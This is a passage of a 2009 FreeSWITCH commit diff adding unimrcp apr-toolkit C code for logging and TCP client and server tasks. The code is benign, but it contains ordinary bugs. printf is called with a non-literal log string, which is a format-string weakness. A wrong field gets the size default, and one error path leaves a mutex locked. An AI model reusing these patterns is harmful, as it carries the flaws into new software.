+	if(apt_logger->file_data) {
+		apt_log_file_close();
+	}
+	apt_logger = NULL;
+	return TRUE;
+}
+
+APT_DECLARE(apt_logger_t*) apt_log_instance_get()
+{
+	return apt_logger;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_instance_set(apt_logger_t *logger)
+{
+	if(apt_logger){
+		return FALSE;
+	}
+	apt_logger = logger;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_file_open(const char *dir_path, const char *file_name, apr_size_t max_file_size, apr_size_t max_file_count, apr_pool_t *pool)
+{
+	const char *log_file_path;
+	apt_log_file_data_t *file_data;
+	if(!apt_logger || !dir_path || !file_name) {
+		return FALSE;
+	}
+
+	if(apt_logger->file_data) {
+		return FALSE;
+	}
+
+	file_data = apr_palloc(pool,sizeof(apt_log_file_data_t));
+	file_data->log_dir_path = dir_path;
+	file_data->log_file_name = file_name;
+	file_data->cur_file_index = 0;
+	file_data->cur_size = 0;
+	file_data->max_file_count = max_file_count;
+	file_data->max_size = max_file_size;
+	file_data->mutex = NULL;
+	file_data->pool = pool;
+
+	if(!file_data->max_size) {
+		file_data->max_file_count = MAX_LOG_FILE_SIZE;
+	}
+	if(!file_data->max_file_count) {
+		file_data->max_file_count = MAX_LOG_FILE_COUNT;
+	}
+
+	/* create mutex */
+	if(apr_thread_mutex_create(&file_data->mutex,APR_THREAD_MUTEX_DEFAULT,pool) != APR_SUCCESS) {
+		return FALSE;
+	}
+	/* open log file */
+	log_file_path = apt_log_file_path_make(file_data);
+	file_data->file = fopen(log_file_path,"wb");
+	if(!file_data->file) {
+		apr_thread_mutex_destroy(file_data->mutex);
+		return FALSE;
+	}
+
+	apt_logger->file_data = file_data;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_file_close()
+{
+	apt_log_file_data_t *file_data;
+	if(!apt_logger || !apt_logger->file_data) {
+		return FALSE;
+	}
+	file_data = apt_logger->file_data;
+	if(file_data->file) {
+		/* close log file */
+		fclose(file_data->file);
+		file_data->file = NULL;
+		/* destroy mutex */
+		apr_thread_mutex_destroy(file_data->mutex);
+		file_data->mutex = NULL;
+	}
+	apt_logger->file_data = NULL;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_output_mode_set(apt_log_output_e mode)
+{
+	if(!apt_logger) {
+		return FALSE;
+	}
+	apt_logger->mode = mode;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_priority_set(apt_log_priority_e priority)
+{
+	if(!apt_logger || priority >= APT_PRIO_COUNT) {
+		return FALSE;
+	}
+	apt_logger->priority = priority;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_header_set(int header)
+{
+	if(!apt_logger) {
+		return FALSE;
+	}
+	apt_logger->header = header;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_ext_handler_set(apt_log_ext_handler_f handler)
+{
+	if(!apt_logger) {
+		return FALSE;
+	}
+	apt_logger->ext_handler = handler;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log(const char *file, int line, apt_log_priority_e priority, const char *format, ...)
+{
+	apt_bool_t status = TRUE;
+	if(!apt_logger) {
+		return FALSE;
+	}
+	if(priority <= apt_logger->priority) {
+		va_list arg_ptr;
+		va_start(arg_ptr, format);
+		if(apt_logger->ext_handler) {
+			status = apt_logger->ext_handler(file,line,NULL,priority,format,arg_ptr);
+		}
+		else {
+			status = apt_do_log(file,line,priority,format,arg_ptr);
+		}
+		va_end(arg_ptr); 
+	}
+	return status;
+}
+
+static apt_bool_t apt_do_log(const char *file, int line, apt_log_priority_e priority, const char *format, va_list arg_ptr)
+{
+	char log_entry[MAX_LOG_ENTRY_SIZE];
+	apr_size_t offset = 0;
+	apr_time_exp_t result;
+	apr_time_t now = apr_time_now();
+	apr_time_exp_lt(&result,now);
+
+	if(apt_logger->header & APT_LOG_HEADER_DATE) {
+		offset += apr_snprintf(log_entry+offset,MAX_LOG_ENTRY_SIZE-offset,"%4d-%02d-%02d ",
+							result.tm_year+1900,
+							result.tm_mon+1,
+							result.tm_mday);
+	}
+	if(apt_logger->header & APT_LOG_HEADER_TIME) {
+		offset += apr_snprintf(log_entry+offset,MAX_LOG_ENTRY_SIZE-offset,"%02d:%02d:%02d:%06d ",
+							result.tm_hour,
+							result.tm_min,
+							result.tm_sec,
+							result.tm_usec);
+	}
+	if(apt_logger->header & APT_LOG_HEADER_MARK) {
+		offset += apr_snprintf(log_entry+offset,MAX_LOG_ENTRY_SIZE-offset,"%s:%03d ",file,line);
+	}
+	if(apt_logger->header & APT_LOG_HEADER_PRIORITY) {
+		memcpy(log_entry+offset,priority_snames[priority],MAX_PRIORITY_NAME_LENGTH);
+		offset += MAX_PRIORITY_NAME_LENGTH;
+	}
+
+	offset += apr_vsnprintf(log_entry+offset,MAX_LOG_ENTRY_SIZE-offset,format,arg_ptr);
+	log_entry[offset++] = '\n';
+	log_entry[offset] = '\0';
+	if((apt_logger->mode & APT_LOG_OUTPUT_CONSOLE) == APT_LOG_OUTPUT_CONSOLE) {
+		printf(log_entry);
+	}
+	
+	if((apt_logger->mode & APT_LOG_OUTPUT_FILE) == APT_LOG_OUTPUT_FILE && apt_logger->file_data) {
+		apt_log_file_dump(apt_logger->file_data,log_entry,offset);
+	}
+	return TRUE;
+}
+
+static const char* apt_log_file_path_make(apt_log_file_data_t *file_data)
+{
+	char *log_file_path = NULL;
+	const char *log_file_name = apr_psprintf(file_data->pool,"%s-%d.log",file_data->log_file_name,file_data->cur_file_index);
+	apr_filepath_merge(&log_file_path,file_data->log_dir_path,log_file_name,0,file_data->pool);
+	return log_file_path;
+}
+
+static apt_bool_t apt_log_file_dump(apt_log_file_data_t *file_data, const char *log_entry, apr_size_t size)
+{
+	apr_thread_mutex_lock(file_data->mutex);
+
+	file_data->cur_size += size;
+	if(file_data->cur_size > file_data->max_size) {
+		const char *log_file_path;
+		/* close current log file */
+		fclose(file_data->file);
+		/* roll over the next log file */
+		file_data->cur_file_index++;
+		file_data->cur_file_index %= file_data->max_file_count;
+		/* open log file */
+		log_file_path = apt_log_file_path_make(file_data);
+		file_data->file = fopen(log_file_path,"wb");
+		if(!file_data->file) {
+			return FALSE;
+		}
+
+		file_data->cur_size = size;
+	}
+	/* write to log file */
+	fwrite(log_entry,1,size,file_data->file);
+	fflush(file_data->file);
+
+	apr_thread_mutex_unlock(file_data->mutex);
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_net.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_network_io.h>
+#include "apt_net.h"
+
+/** Get the IP address (in numeric address string format) by hostname */
+apt_bool_t apt_ip_get(char **addr, apr_pool_t *pool)
+{
+	apr_sockaddr_t *sockaddr = NULL;
+	char *hostname = apr_palloc(pool,APRMAXHOSTLEN+1);
+	if(apr_gethostname(hostname,APRMAXHOSTLEN,pool) != APR_SUCCESS) {
+		return FALSE;
+	}
+	if(apr_sockaddr_info_get(&sockaddr,hostname,APR_INET,0,0,pool) != APR_SUCCESS) {
+		return FALSE;
+	}
+	if(apr_sockaddr_ip_get(addr,sockaddr) != APR_SUCCESS) {
+		return FALSE;
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_client_task.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_client_task.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_net_client_task.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_client_task.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_client_task.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,318 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_net_client_task.h"
+#include "apt_task.h"
+#include "apt_pool.h"
+#include "apt_pollset.h"
+#include "apt_cyclic_queue.h"
+#include "apt_log.h"
+
+
+/** Network client task */
+struct apt_net_client_task_t {
+	apr_pool_t                    *pool;
+	apt_task_t                    *base;
+	void                          *obj;
+
+	apr_size_t                     max_connection_count;
+
+	apr_thread_mutex_t            *guard;
+	apt_cyclic_queue_t            *msg_queue;
+	apt_pollset_t                 *pollset;
+
+	const apt_net_client_vtable_t *client_vtable;
+};
+
+static apt_bool_t apt_net_client_task_msg_signal(apt_task_t *task, apt_task_msg_t *msg);
+static apt_bool_t apt_net_client_task_run(apt_task_t *task);
+static apt_bool_t apt_net_client_task_on_destroy(apt_task_t *task);
+
+/** Create connection task */
+APT_DECLARE(apt_net_client_task_t*) apt_net_client_task_create(
+										apr_size_t max_connection_count,
+										void *obj,
+										const apt_net_client_vtable_t *client_vtable,
+										apt_task_msg_pool_t *msg_pool,
+										apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	apt_net_client_task_t *task;
+	
+	task = apr_palloc(pool,sizeof(apt_net_client_task_t));
+	task->pool = pool;
+	task->obj = obj;
+	task->pollset = NULL;
+	task->max_connection_count = max_connection_count;
+
+	if(!client_vtable || !client_vtable->on_receive) {
+		return NULL;
+	}
+	task->client_vtable = client_vtable;
+
+	task->base = apt_task_create(task,msg_pool,pool);
+	if(!task->base) {
+		return NULL;
+	}
+
+	vtable = apt_task_vtable_get(task->base);
+	if(vtable) {
+		vtable->run = apt_net_client_task_run;
+		vtable->destroy = apt_net_client_task_on_destroy;
+		vtable->signal_msg = apt_net_client_task_msg_signal;
+	}
+
+	task->msg_queue = apt_cyclic_queue_create(CYCLIC_QUEUE_DEFAULT_SIZE);
+	apr_thread_mutex_create(&task->guard,APR_THREAD_MUTEX_UNNESTED,pool);
+	return task;
+}
+
+/** Virtual destroy handler */
+static apt_bool_t apt_net_client_task_on_destroy(apt_task_t *base)
+{
+	apt_net_client_task_t *task = apt_task_object_get(base);
+	if(task->guard) {
+		apr_thread_mutex_destroy(task->guard);
+		task->guard = NULL;
+	}
+	if(task->msg_queue) {
+		apt_cyclic_queue_destroy(task->msg_queue);
+		task->msg_queue = NULL;
+	}
+	return TRUE;
+}
+
+/** Destroy connection task. */
+APT_DECLARE(apt_bool_t) apt_net_client_task_destroy(apt_net_client_task_t *task)
+{
+	return apt_task_destroy(task->base);
+}
+
+/** Start connection task. */
+APT_DECLARE(apt_bool_t) apt_net_client_task_start(apt_net_client_task_t *task)
+{
+	return apt_task_start(task->base);
+}
+
+/** Terminate connection task. */
+APT_DECLARE(apt_bool_t) apt_net_client_task_terminate(apt_net_client_task_t *task)
+{
+	return apt_task_terminate(task->base,TRUE);
+}
+
+/** Get task */
+APT_DECLARE(apt_task_t*) apt_net_client_task_base_get(apt_net_client_task_t *task)
+{
+	return task->base;
+}
+
+/** Get task vtable */
+APT_DECLARE(apt_task_vtable_t*) apt_net_client_task_vtable_get(apt_net_client_task_t *task)
+{
+	return apt_task_vtable_get(task->base);
+}
+
+/** Get external object */
+APT_DECLARE(void*) apt_net_client_task_object_get(apt_net_client_task_t *task)
+{
+	return task->obj;
+}
+
+/** Create connection */
+APT_DECLARE(apt_net_client_connection_t*) apt_net_client_connect(apt_net_client_task_t *task, const char *ip, apr_port_t port)
+{
+	char *local_ip = NULL;
+	char *remote_ip = NULL;
+	apr_sockaddr_t *l_sockaddr = NULL;
+	apr_sockaddr_t *r_sockaddr = NULL;
+	apt_net_client_connection_t *connection;
+	apr_pool_t *pool = apt_pool_create();
+	if(!pool) {
+		return NULL;
+	}
+	
+	connection = apr_palloc(pool,sizeof(apt_net_client_connection_t));
+	connection->pool = pool;
+	connection->obj = NULL;
+	connection->sock = NULL;
+
+	if(apr_sockaddr_info_get(&r_sockaddr,ip,APR_INET,port,0,connection->pool) != APR_SUCCESS) {
+		apr_pool_destroy(pool);
+		return NULL;
+	}
+
+	if(apr_socket_create(&connection->sock,r_sockaddr->family,SOCK_STREAM,APR_PROTO_TCP,connection->pool) != APR_SUCCESS) {
+		apr_pool_destroy(pool);
+		return NULL;
+	}
+
+	apr_socket_opt_set(connection->sock, APR_SO_NONBLOCK, 0);
+	apr_socket_timeout_set(connection->sock, -1);
+	apr_socket_opt_set(connection->sock, APR_SO_REUSEADDR, 1);
+
+	if(apr_socket_connect(connection->sock,r_sockaddr) != APR_SUCCESS) {
+		apr_socket_close(connection->sock);
+		apr_pool_destroy(pool);
+		return NULL;
+	}
+
+	if(apr_socket_addr_get(&l_sockaddr,APR_LOCAL,connection->sock) != APR_SUCCESS) {
+		apr_socket_close(connection->sock);
+		apr_pool_destroy(pool);
+		return NULL;
+	}
+
+	apr_sockaddr_ip_get(&local_ip,l_sockaddr);
+	apr_sockaddr_ip_get(&remote_ip,r_sockaddr);
+	connection->id = apr_psprintf(pool,"%s:%hu <-> %s:%hu",
+		local_ip,l_sockaddr->port,
+		remote_ip,r_sockaddr->port);
+
+	memset(&connection->sock_pfd,0,sizeof(apr_pollfd_t));
+	connection->sock_pfd.desc_type = APR_POLL_SOCKET;
+	connection->sock_pfd.reqevents = APR_POLLIN;
+	connection->sock_pfd.desc.s = connection->sock;
+	connection->sock_pfd.client_data = connection;
+	if(apt_pollset_add(task->pollset,&connection->sock_pfd) != TRUE) {
+		apr_socket_close(connection->sock);
+		apr_pool_destroy(pool);
+		return NULL;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Established TCP Connection %s",connection->id);
+	return connection;
+}
+
+/** Close connection */
+APT_DECLARE(apt_bool_t) apt_net_client_connection_close(apt_net_client_task_t *task, apt_net_client_connection_t *connection)
+{
+	if(connection->sock) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close TCP Connection %s",connection->id);
+		apt_pollset_remove(task->pollset,&connection->sock_pfd);
+		apr_socket_close(connection->sock);
+		connection->sock = NULL;
+	}
+	return TRUE;
+}
+
+/** Close and destroy connection */
+APT_DECLARE(apt_bool_t) apt_net_client_disconnect(apt_net_client_task_t *task, apt_net_client_connection_t *connection)
+{
+	apt_net_client_connection_close(task,connection);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy TCP Connection %s",connection->id);
+	apr_pool_destroy(connection->pool);
+	return TRUE;
+}
+
+/** Create the pollset */
+static apt_bool_t apt_net_client_task_pollset_create(apt_net_client_task_t *task)
+{
+	/* create pollset */
+	task->pollset = apt_pollset_create((apr_uint32_t)task->max_connection_count, task->pool);
+	if(!task->pollset) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Pollset");
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+/** Destroy the pollset */
+static void apt_net_client_task_pollset_destroy(apt_net_client_task_t *task)
+{
+	if(task->pollset) {
+		apt_pollset_destroy(task->pollset);
+		task->pollset = NULL;
+	}
+}
+
+static apt_bool_t apt_net_client_task_process(apt_net_client_task_t *task)
+{
+	apt_bool_t status = TRUE;
+	apt_bool_t running = TRUE;
+	apt_task_msg_t *msg;
+
+	do {
+		apr_thread_mutex_lock(task->guard);
+		msg = apt_cyclic_queue_pop(task->msg_queue);
+		apr_thread_mutex_unlock(task->guard);
+		if(msg) {
+			status = apt_task_msg_process(task->base,msg);
+		}
+		else {
+			running = FALSE;
+		}
+	}
+	while(running == TRUE);
+	return status;
+}
+
+static apt_bool_t apt_net_client_task_run(apt_task_t *base)
+{
+	apt_net_client_task_t *task = apt_task_object_get(base);
+	apt_bool_t running = TRUE;
+	apr_status_t status;
+	apr_int32_t num;
+	const apr_pollfd_t *ret_pfd;
+	int i;
+
+	if(!task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start Network Client Task");
+		return FALSE;
+	}
+
+	if(apt_net_client_task_pollset_create(task) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Pollset");
+		return FALSE;
+	}
+
+	while(running) {
+		status = apt_pollset_poll(task->pollset, -1, &num, &ret_pfd);
+		if(status != APR_SUCCESS) {
+			continue;
+		}
+		for(i = 0; i < num; i++) {
+			if(apt_pollset_is_wakeup(task->pollset,&ret_pfd[i])) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process Control Message");
+				if(apt_net_client_task_process(task) == FALSE) {
+					running = FALSE;
+					break;
+				}
+				continue;
+			}
+	
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process Message");
+			task->client_vtable->on_receive(task,ret_pfd[i].client_data);
+		}
+	}
+
+	apt_net_client_task_pollset_destroy(task);
+	return TRUE;
+}
+
+static apt_bool_t apt_net_client_task_msg_signal(apt_task_t *base, apt_task_msg_t *msg)
+{
+	apt_bool_t status;
+	apt_net_client_task_t *task = apt_task_object_get(base);
+	apr_thread_mutex_lock(task->guard);
+	status = apt_cyclic_queue_push(task->msg_queue,msg);
+	apr_thread_mutex_unlock(task->guard);
+	if(apt_pollset_wakeup(task->pollset) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Signal Control Message");
+		status = FALSE;
+	}
+	return status;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_server_task.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_server_task.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_net_server_task.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_server_task.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_net_server_task.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,389 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_net_server_task.h"
+#include "apt_task.h"
+#include "apt_pool.h"
+#include "apt_pollset.h"
+#include "apt_cyclic_queue.h"
+#include "apt_log.h"
+
+
+/** Network server task */
+struct apt_net_server_task_t {
+	apr_pool_t                    *pool;
+	apt_task_t                    *base;
+	void                          *obj;
+
+	apr_size_t                     max_connection_count;
+
+	apr_thread_mutex_t            *guard;
+	apt_cyclic_queue_t            *msg_queue;
+	apt_pollset_t                 *pollset;
+
+	/* Listening socket descriptor */
+	apr_sockaddr_t                *sockaddr;
+	apr_socket_t                  *listen_sock;
+	apr_pollfd_t                   listen_sock_pfd;
+
+	const apt_net_server_vtable_t *server_vtable;
+};
+
+static apt_bool_t apt_net_server_task_msg_signal(apt_task_t *task, apt_task_msg_t *msg);
+static apt_bool_t apt_net_server_task_run(apt_task_t *task);
+static apt_bool_t apt_net_server_task_on_destroy(apt_task_t *task);
+
+/** Create connection task */
+APT_DECLARE(apt_net_server_task_t*) apt_net_server_task_create(
+										const char *listen_ip,
+										apr_port_t listen_port,
+										apr_size_t max_connection_count,
+										void *obj,
+										const apt_net_server_vtable_t *server_vtable,
+										apt_task_msg_pool_t *msg_pool,
+										apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	apt_net_server_task_t *task;
+	
+	task = apr_palloc(pool,sizeof(apt_net_server_task_t));
+	task->pool = pool;
+	task->obj = obj;
+	task->sockaddr = NULL;
+	task->listen_sock = NULL;
+	task->pollset = NULL;
+	task->max_connection_count = max_connection_count;
+
+	apr_sockaddr_info_get(&task->sockaddr,listen_ip,APR_INET,listen_port,0,task->pool);
+	if(!task->sockaddr) {
+		return NULL;
+	}
+
+	if(!server_vtable || !server_vtable->on_connect || 
+		!server_vtable->on_disconnect || !server_vtable->on_receive) {
+		return NULL;
+	}
+	task->server_vtable = server_vtable;
+
+	task->base = apt_task_create(task,msg_pool,pool);
+	if(!task->base) {
+		return NULL;
+	}
+
+	vtable = apt_task_vtable_get(task->base);
+	if(vtable) {
+		vtable->run = apt_net_server_task_run;
+		vtable->destroy = apt_net_server_task_on_destroy;
+		vtable->signal_msg = apt_net_server_task_msg_signal;
+	}
+
+	task->msg_queue = apt_cyclic_queue_create(CYCLIC_QUEUE_DEFAULT_SIZE);
+	apr_thread_mutex_create(&task->guard,APR_THREAD_MUTEX_UNNESTED,pool);
+	return task;
+}
+
+/** Virtual destroy handler */
+static apt_bool_t apt_net_server_task_on_destroy(apt_task_t *base)
+{
+	apt_net_server_task_t *task = apt_task_object_get(base);
+	if(task->guard) {
+		apr_thread_mutex_destroy(task->guard);
+		task->guard = NULL;
+	}
+	if(task->msg_queue) {
+		apt_cyclic_queue_destroy(task->msg_queue);
+		task->msg_queue = NULL;
+	}
+	return TRUE;
+}
+
+/** Destroy connection task. */
+APT_DECLARE(apt_bool_t) apt_net_server_task_destroy(apt_net_server_task_t *task)
+{
+	return apt_task_destroy(task->base);
+}
+
+/** Start connection task. */
+APT_DECLARE(apt_bool_t) apt_net_server_task_start(apt_net_server_task_t *task)
+{
+	return apt_task_start(task->base);
+}
+
+/** Terminate connection task. */
+APT_DECLARE(apt_bool_t) apt_net_server_task_terminate(apt_net_server_task_t *task)
+{
+	return apt_task_terminate(task->base,TRUE);
+}
+
+/** Get task */
+APT_DECLARE(apt_task_t*) apt_net_server_task_base_get(apt_net_server_task_t *task)
+{
+	return task->base;
+}
+
+/** Get task vtable */
+APT_DECLARE(apt_task_vtable_t*) apt_net_server_task_vtable_get(apt_net_server_task_t *task)
+{
+	return apt_task_vtable_get(task->base);
+}
+
+/** Get external object */
+APT_DECLARE(void*) apt_net_server_task_object_get(apt_net_server_task_t *task)
+{
+	return task->obj;
+}
+
+
+/** Create listening socket and add to pollset */
+static apt_bool_t apt_net_server_task_listen_socket_create(apt_net_server_task_t *task)
+{
+	apr_status_t status;
+	if(!task->sockaddr) {
+		return FALSE;
+	}
+
+	/* create listening socket */
+	status = apr_socket_create(&task->listen_sock, task->sockaddr->family, SOCK_STREAM, APR_PROTO_TCP, task->pool);
+	if(status != APR_SUCCESS) {
+		return FALSE;
+	}
+
+	apr_socket_opt_set(task->listen_sock, APR_SO_NONBLOCK, 0);
+	apr_socket_timeout_set(task->listen_sock, -1);
+	apr_socket_opt_set(task->listen_sock, APR_SO_REUSEADDR, 1);
+
+	status = apr_socket_bind(task->listen_sock, task->sockaddr);
+	if(status != APR_SUCCESS) {
+		apr_socket_close(task->listen_sock);
+		task->listen_sock = NULL;
+		return FALSE;
+	}
+	status = apr_socket_listen(task->listen_sock, SOMAXCONN);
+	if(status != APR_SUCCESS) {
+		apr_socket_close(task->listen_sock);
+		task->listen_sock = NULL;
+		return FALSE;
+	}
+
+	memset(&task->listen_sock_pfd,0,sizeof(apr_pollfd_t));
+	task->listen_sock_pfd.desc_type = APR_POLL_SOCKET;
+	task->listen_sock_pfd.reqevents = APR_POLLIN;
+	task->listen_sock_pfd.desc.s = task->listen_sock;
+	task->listen_sock_pfd.client_data = task->listen_sock;
+	if(apt_pollset_add(task->pollset, &task->listen_sock_pfd) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Add Listen Socket to Pollset");
+		apr_socket_close(task->listen_sock);
+		task->listen_sock = NULL;
+	}
+
+	return TRUE;
+}
+
+/** Remove from pollset and destroy listening socket */
+static void apt_net_server_task_listen_socket_destroy(apt_net_server_task_t *task)
+{
+	apt_pollset_remove(task->pollset,&task->listen_sock_pfd);
+
+	if(task->listen_sock) {
+		apr_socket_close(task->listen_sock);
+		task->listen_sock = NULL;
+	}
+}
+
+/** Create the pollset */
+static apt_bool_t apt_net_server_task_pollset_create(apt_net_server_task_t *task)
+{
+	/* create pollset */
+	task->pollset = apt_pollset_create((apr_uint32_t)task->max_connection_count + 1, task->pool);
+	if(!task->pollset) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Pollset");
+		return FALSE;
+	}
+
+	/* create listening socket */
+	if(apt_net_server_task_listen_socket_create(task) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Listen Socket");
+	}
+
+	return TRUE;
+}
+
+/** Destroy the pollset */
+static void apt_net_server_task_pollset_destroy(apt_net_server_task_t *task)
+{
+	apt_net_server_task_listen_socket_destroy(task);
+	if(task->pollset) {
+		apt_pollset_destroy(task->pollset);
+		task->pollset = NULL;
+	}
+}
+
+static apt_bool_t apt_net_server_task_process(apt_net_server_task_t *task)
+{
+	apt_bool_t status = TRUE;
+	apt_bool_t running = TRUE;
+	apt_task_msg_t *msg;
+
+	do {
+		apr_thread_mutex_lock(task->guard);
+		msg = apt_cyclic_queue_pop(task->msg_queue);
+		apr_thread_mutex_unlock(task->guard);
+		if(msg) {
+			status = apt_task_msg_process(task->base,msg);
+		}
+		else {
+			running = FALSE;
+		}
+	}
+	while(running == TRUE);
+	return status;
+}
+
+static apt_bool_t apt_net_server_task_accept(apt_net_server_task_t *task)
+{
+	char *local_ip = NULL;
+	char *remote_ip = NULL;
+	apr_sockaddr_t *l_sockaddr = NULL;
+	apr_sockaddr_t *r_sockaddr = NULL;
+	apt_net_server_connection_t *connection;
+	apr_pool_t *pool = apt_pool_create();
+	if(!pool) {
+		return FALSE;
+	}
+	
+	connection = apr_palloc(pool,sizeof(apt_net_server_connection_t));
+	connection->pool = pool;
+	connection->obj = NULL;
+	connection->sock = NULL;
+	connection->client_ip = NULL;
+
+	if(apr_socket_accept(&connection->sock,task->listen_sock,connection->pool) != APR_SUCCESS) {
+		apr_pool_destroy(pool);
+		return FALSE;
+	}
+
+	if(apr_socket_addr_get(&l_sockaddr,APR_LOCAL,connection->sock) != APR_SUCCESS ||
+		apr_socket_addr_get(&r_sockaddr,APR_REMOTE,connection->sock) != APR_SUCCESS) {
+		apr_pool_destroy(pool);
+		return FALSE;
+	}
+
+	apr_sockaddr_ip_get(&local_ip,l_sockaddr);
+	apr_sockaddr_ip_get(&remote_ip,r_sockaddr);
+	connection->client_ip = remote_ip;
+	connection->id = apr_psprintf(pool,"%s:%hu <-> %s:%hu",
+		local_ip,l_sockaddr->port,
+		remote_ip,r_sockaddr->port);
+
+	memset(&connection->sock_pfd,0,sizeof(apr_pollfd_t));
+	connection->sock_pfd.desc_type = APR_POLL_SOCKET;
+	connection->sock_pfd.reqevents = APR_POLLIN;
+	connection->sock_pfd.desc.s = connection->sock;
+	connection->sock_pfd.client_data = connection;
+	if(apt_pollset_add(task->pollset,&connection->sock_pfd) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Add to Pollset");
+		apr_socket_close(connection->sock);
+		apr_pool_destroy(pool);
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Accepted TCP Connection %s",connection->id);
+	task->server_vtable->on_connect(task,connection);
+	return TRUE;
+}
+
+static apt_bool_t apt_net_server_task_run(apt_task_t *base)
+{
+	apt_net_server_task_t *task = apt_task_object_get(base);
+	apt_bool_t running = TRUE;
+	apr_status_t status;
+	apr_int32_t num;
+	const apr_pollfd_t *ret_pfd;
+	int i;
+
+	if(!task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start Network Server Task");
+		return FALSE;
+	}
+
+	if(apt_net_server_task_pollset_create(task) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Pollset");
+		return FALSE;
+	}
+
+	while(running) {
+		status = apt_pollset_poll(task->pollset, -1, &num, &ret_pfd);
+		if(status != APR_SUCCESS) {
+			continue;
+		}
+		for(i = 0; i < num; i++) {
+			if(ret_pfd[i].desc.s == task->listen_sock) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Accept Connection");
+				apt_net_server_task_accept(task);
+				continue;
+			}
+			if(apt_pollset_is_wakeup(task->pollset,&ret_pfd[i])) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process Control Message");
+				if(apt_net_server_task_process(task) == FALSE) {
+					running = FALSE;
+					break;
+				}
+				continue;
+			}
+	
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process Message");
